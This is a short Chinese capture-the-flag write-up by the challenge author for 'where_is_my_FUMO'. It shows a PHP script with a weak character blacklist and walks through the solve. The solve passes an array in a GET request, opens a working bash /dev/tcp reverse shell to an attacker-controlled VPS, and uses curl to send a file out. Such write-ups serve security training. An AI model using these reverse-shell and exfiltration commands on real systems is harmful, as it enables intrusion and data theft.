Problem: [极客大挑战 2021]where_is_my_FUMO
- 题解来自题目作者
AFKL
<?php function chijou_kega_no_junnka($str) { $black_list = [">", ";", "|", "{", "}", "/", " "]; return str_replace($black_list, "", $str); } if (isset($_GET['DATA'])) { $data = $_GET['DATA']; $addr = chijou_kega_no_junnka($data['ADDR']); $port = chijou_kega_no_junnka($data['PORT']); exec("bash -c \"bash -i < /dev/tcp/$addr/$port\""); } else { highlight_file(__FILE__); }
三个考点:
-
使用GET请求传输数组
http://fumo/index.php?DATA[ADDR]=vps-ip&DATA[PORT]=9999 -
反弹shell
这里的反弹shell只能反弹回一个没有回显的shell。
解决办法很多,可以考虑二次反弹一个完整的shell,或者绕过黑名单。
bash -c "bash -i < /dev/tcp/ip/9999 1<&0 2<&0" -
反弹shell后的文件获取
内置环境有curl,可以将图片外带到自己的服务器。

